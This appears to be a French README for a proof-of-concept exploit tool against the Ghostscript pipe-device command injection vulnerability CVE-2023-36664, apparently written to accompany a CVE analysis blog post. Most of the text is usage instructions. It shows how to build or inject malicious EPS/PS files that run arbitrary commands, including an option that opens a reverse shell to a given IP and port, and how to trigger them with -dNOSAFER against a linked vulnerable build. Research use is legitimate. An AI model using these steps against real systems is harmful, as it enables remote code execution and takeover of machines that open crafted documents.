
PoC de la vulnérabilité d'injection de commandes Ghostscript (CVE-2023-36664)
Vulnérabilité divulguée dans Ghostscript antérieur à la version 10.01.2 entraînant l'exécution de code (score CVSS 9.8).
Description officielle de la vulnérabilité :
Artifex Ghostscript jusqu'à la version 10.01.2 gère mal la validation des permissions pour les dispositifs pipe (avec le préfixe %pipe% ou le caractère pipe |).
Debian a publié un avis de sécurité mentionnant une possible exécution de commandes arbitraires :
"Il a été découvert que Ghostscript, l'interpréteur GPL PostScript/PDF, ne gère pas correctement la validation des permissions pour les dispositifs pipe, ce qui pourrait entraîner l'exécution de commandes arbitraires si des fichiers de documents malformés sont traités."
Ce dépôt est créé pour un article de blog d'analyse CVE disponible sur le blog vsociety.
Téléchargez Ghostscript 10.01.1 ici : https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Lien direct vers l'exécutable Windows x64 : https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
L'exploitation peut se produire lors de l'ouverture d'un fichier PS ou EPS et peut permettre l'exécution de code en raison de la mauvaise gestion de la validation des permissions pour les dispositifs pipe par Ghostscript.
Utilisation : python3 CVE_2023_36664_exploit.py <input_file> <command>
Exemple :
python3 CVE_2023_36664_exploit.py file.eps "calc"
Cela génère un nouveau fichier appelé file_injected.eps.
Ouvrez ce fichier avec Ghostscript pour déclencher la calculatrice (depuis la version 9.50, vous devez également utiliser l'option -dNOSAFER) :
gs10011w64.exe -dNOSAFER .\file_injected.eps
Autres exemples : Générer un nouveau fichier EPS appelé run_calculator.eps avec la charge utile "calc" (ouvre une nouvelle calculatrice sur Windows)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
Générer un nouveau fichier EPS appelé rev_shell.eps avec une IP personnalisée (démarre un reverse shell lorsqu'il est déclenché sur Unix)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
Générer un nouveau fichier PS appelé malicius.ps avec la charge utile "calc" (ouvre une nouvelle calculatrice sur Windows)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
Injecter une charge utile personnalisée malveillante ("calc") dans un fichier existant appelé file.eps (ouvre une nouvelle calculatrice sur Windows)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
Ce logiciel a été créé purement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les responsables du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.